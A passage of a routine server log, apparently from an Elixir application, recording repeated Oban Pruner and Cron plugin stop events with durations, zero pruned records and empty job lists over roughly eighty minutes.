{"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.390 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:29:16.509 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:46.510 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.391 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:30:16.511 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:46.512 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.392 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:31:16.513 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:46.514 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.393 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:32:16.515 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:46.516 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.394 [info] {"source":"oban","duration":296,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:33:16.517 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:46.518 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.395 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:34:16.519 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:46.520 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.396 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:35:16.521 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:46.522 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.397 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:36:16.523 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:46.524 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.398 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:37:16.525 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:46.526 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.399 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:38:16.527 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:46.528 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.400 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:39:16.529 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:46.530 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.401 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:40:16.531 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:46.532 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.402 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:41:16.533 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:46.534 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.403 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:42:16.535 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:46.536 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.404 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:43:16.537 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:46.538 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.405 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:44:16.539 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:46.540 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.406 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:45:16.541 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:46.542 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.407 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:46:16.543 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:46.544 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.408 [info] {"source":"oban","duration":287,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:47:16.545 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:46.546 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.409 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:48:16.547 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:46.548 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.410 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:49:16.549 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:46.550 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.411 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:50:16.551 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:46.552 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.412 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:51:16.553 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:46.554 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.413 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:52:16.555 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:46.556 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.414 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:53:16.557 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:46.558 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.415 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:54:16.559 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:46.560 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.416 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:55:16.561 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:46.563 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.417 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:56:16.565 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:46.566 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.418 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:57:16.567 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:46.568 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.419 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:58:16.569 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:46.570 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.420 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:59:16.571 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:46.573 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.421 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:00:16.575 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:46.576 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.422 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:01:16.577 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:46.578 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.423 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:02:16.579 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:46.580 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.424 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:03:16.581 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:46.582 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.425 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:04:16.584 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:46.585 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.426 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:05:16.586 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:46.587 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.427 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:06:16.588 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:46.589 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.428 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:07:16.590 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:46.591 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.429 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:08:16.592 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:46.593 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.430 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:09:16.594 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:46.595 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.431 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:10:16.596 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:46.598 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.432 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:11:16.599 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:46.600 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.433 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:12:16.601 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:46.602 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.434 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:13:16.603 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:46.605 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.435 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:14:16.606 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:46.607 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.436 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:15:16.608 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:46.610 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.437 [info] {"source":"oban","duration":343,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:16:16.611 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:46.612 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.438 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:17:16.613 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:46.614 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.439 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:18:16.615 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:46.616 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.440 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:19:16.617 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:46.619 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.441 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:20:16.621 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:46.622 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.442 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:21:16.623 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:46.624 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.443 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:22:16.625 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:46.626 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.444 [info] {"source":"oban","duration":291,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:23:16.627 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:46.629 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.445 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:24:16.631 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:46.632 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.446 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:25:16.633 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:46.634 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.447 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:26:16.635 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:46.636 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.448 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:27:16.637 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:46.639 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.449 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:28:16.640 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:46.641 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.450 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:29:16.642 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:46.643 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.451 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:30:16.644 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:46.645 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.452 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:31:16.646 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:46.648 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.453 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:32:16.650 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:46.651 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.454 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:33:16.652 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:46.653 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.455 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:34:16.654 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:46.655 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.456 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:35:16.656 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:46.657 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.457 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:36:16.658 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:46.659 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.458 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:37:16.661 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:46.662 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.459 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:38:16.663 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:46.664 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.460 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:39:16.665 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:46.666 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.461 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:40:16.667 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:46.668 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.462 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:41:16.669 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:46.670 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.463 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:42:16.671 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:46.672 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.464 [info] {"source":"oban","duration":297,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:43:16.673 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:46.674 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.465 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:44:16.675 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:46.676 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.466 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:45:16.677 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:46.678 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.467 [info] {"source":"oban","duration":150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:46:16.679 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:46.680 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.468 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:47:16.681 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:46.683 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.469 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:48:16.685 [info] 